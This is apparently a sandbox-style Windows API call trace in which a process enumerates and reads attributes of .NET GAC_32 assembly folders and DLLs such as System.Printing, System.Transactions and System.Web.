	[0088.554] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x67d3f840, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x3a8e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.EnterpriseServices.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1
	[0088.554] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe85df00, ftCreationTime.dwHighDateTime=0x1d0aa7e, ftLastAccessTime.dwLowDateTime=0x67e24080, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xe85df00, ftLastWriteTime.dwHighDateTime=0x1d0aa7e, nFileSizeHigh=0x0, nFileSizeLow=0x1b200, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.EnterpriseServices.Wrapper.dll", cAlternateFileName="SYSTEM~2.DLL")) returned 1
	[0088.554] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.554] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.555] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.EnterpriseServices\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\System.EnterpriseServices.Wrapper.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.enterpriseservices\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\system.enterpriseservices.wrapper.dll"), fInfoLevelId=0x0, lpFileInformation=0x1261caa8 | out: lpFileInformation=0x1261caa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe85df00, ftCreationTime.dwHighDateTime=0x1d0aa7e, ftLastAccessTime.dwLowDateTime=0x67e24080, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xe85df00, ftLastWriteTime.dwHighDateTime=0x1d0aa7e, nFileSizeHigh=0x0, nFileSizeLow=0x1b200)) returned 1
	[0088.556] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.EnterpriseServices\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\System.EnterpriseServices.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.enterpriseservices\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\system.enterpriseservices.dll"), fInfoLevelId=0x0, lpFileInformation=0x1261caf8 | out: lpFileInformation=0x1261caf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x67d3f840, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x3a8e8)) returned 1
	[0088.556] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Printing" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.printing"), fInfoLevelId=0x0, lpFileInformation=0x1261cb48 | out: lpFileInformation=0x1261cb48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92d70500, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x92d70500, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x92d70500, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.556] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Printing" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.printing"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.556] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Printing\\*", lpFindFileData=0x124158b4 | out: lpFindFileData=0x124158b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92d70500, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x92d70500, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x92d70500, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.556] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92d70500, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x92d70500, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x92d70500, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.556] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92d70500, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x62d35480, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x62d35480, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v4.0_4.0.0.0__31bf3856ad364e35", cAlternateFileName="V40_40~1.0__")) returned 1
	[0088.556] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.556] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.556] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Printing\\v4.0_4.0.0.0__31bf3856ad364e35" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.printing\\v4.0_4.0.0.0__31bf3856ad364e35"), fInfoLevelId=0x0, lpFileInformation=0x1261cbe8 | out: lpFileInformation=0x1261cbe8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92d70500, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x62d35480, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x62d35480, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.557] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Printing\\v4.0_4.0.0.0__31bf3856ad364e35" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.printing\\v4.0_4.0.0.0__31bf3856ad364e35"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.557] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Printing\\v4.0_4.0.0.0__31bf3856ad364e35\\*", lpFindFileData=0x12415850 | out: lpFindFileData=0x12415850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92d70500, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x62d35480, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x62d35480, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.557] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92d70500, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x62d35480, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x62d35480, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.557] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x62d35480, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x59358, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Printing.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1
	[0088.557] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.557] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.557] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Printing\\v4.0_4.0.0.0__31bf3856ad364e35\\System.Printing.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.printing\\v4.0_4.0.0.0__31bf3856ad364e35\\system.printing.dll"), fInfoLevelId=0x0, lpFileInformation=0x1261cc88 | out: lpFileInformation=0x1261cc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x62d35480, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x59358)) returned 1
	[0088.557] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Transactions" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.transactions"), fInfoLevelId=0x0, lpFileInformation=0x1261ccd8 | out: lpFileInformation=0x1261ccd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92c8bcc0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x92cb1e20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x92cb1e20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.557] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Transactions" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.transactions"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.557] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Transactions\\*", lpFindFileData=0x124158b4 | out: lpFindFileData=0x124158b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92c8bcc0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x92cb1e20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x92cb1e20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.557] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92c8bcc0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x92cb1e20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x92cb1e20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.557] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92c8bcc0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x683a5360, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x683a5360, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v4.0_4.0.0.0__b77a5c561934e089", cAlternateFileName="V40_40~1.0__")) returned 1
	[0088.558] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.558] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.558] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Transactions\\v4.0_4.0.0.0__b77a5c561934e089" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.transactions\\v4.0_4.0.0.0__b77a5c561934e089"), fInfoLevelId=0x0, lpFileInformation=0x1261cd78 | out: lpFileInformation=0x1261cd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92c8bcc0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x683a5360, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x683a5360, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.558] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Transactions\\v4.0_4.0.0.0__b77a5c561934e089" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.transactions\\v4.0_4.0.0.0__b77a5c561934e089"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.558] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Transactions\\v4.0_4.0.0.0__b77a5c561934e089\\*", lpFindFileData=0x12415850 | out: lpFindFileData=0x12415850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92c8bcc0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x683a5360, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x683a5360, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.558] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92c8bcc0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x683a5360, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x683a5360, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.558] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x683a5360, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x470d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Transactions.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1
	[0088.558] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.558] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.558] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Transactions\\v4.0_4.0.0.0__b77a5c561934e089\\System.Transactions.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.transactions\\v4.0_4.0.0.0__b77a5c561934e089\\system.transactions.dll"), fInfoLevelId=0x0, lpFileInformation=0x1261ce18 | out: lpFileInformation=0x1261ce18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x683a5360, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x470d0)) returned 1
	[0088.558] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Web" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.web"), fInfoLevelId=0x0, lpFileInformation=0x1261ce68 | out: lpFileInformation=0x1261ce68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa43a1e00, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xa43a1e00, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xa43a1e00, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.559] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Web" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.web"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.559] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Web\\*", lpFindFileData=0x124158b4 | out: lpFindFileData=0x124158b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa43a1e00, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xa43a1e00, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xa43a1e00, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.559] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa43a1e00, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xa43a1e00, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xa43a1e00, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.559] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa4355b40, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x6a1febe0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x6a1febe0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v4.0_4.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="V40_40~1.0__")) returned 1
	[0088.559] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.559] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.559] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Web\\v4.0_4.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.web\\v4.0_4.0.0.0__b03f5f7f11d50a3a"), fInfoLevelId=0x0, lpFileInformation=0x1261cf08 | out: lpFileInformation=0x1261cf08*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa4355b40, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x6a1febe0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x6a1febe0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.559] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Web\\v4.0_4.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.web\\v4.0_4.0.0.0__b03f5f7f11d50a3a"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.559] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Web\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x12415850 | out: lpFindFileData=0x12415850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa4355b40, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x6a1febe0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x6a1febe0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.559] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa4355b40, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x6a1febe0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x6a1febe0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.559] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6a2e3420, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x520aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1
	[0088.559] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.559] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.560] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Web\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\System.Web.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.web\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\system.web.dll"), fInfoLevelId=0x0, lpFileInformation=0x1261cfa8 | out: lpFileInformation=0x1261cfa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6a2e3420, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x520aa8)) returned 1
